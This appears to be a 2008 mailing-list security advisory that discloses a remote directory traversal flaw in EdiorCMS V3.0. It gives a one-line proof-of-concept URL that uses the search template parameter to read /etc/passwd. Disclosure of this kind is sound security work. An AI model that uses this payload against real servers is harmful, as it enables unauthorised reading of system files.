[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Directory traversal in EdiorCMS V3.0

Directory traversal in EdiorCMS V3.0 

Application:  EdiorCMS V3.0
Vendor:       http://www.edior.com      
Versions:     3.0
Platforms:    ALL
Bug:          Directory traversal
Exploitation: remote
Date:         13 Mar 2008
Author:       Shennan Wang
              e-mail: wsn1983@xxxxxxxxx
POC:          
http://site/ecms/search.php?_SearchKeyWord=&_SearchField=Title&_SearchTemplate=../../../../../../etc/passwd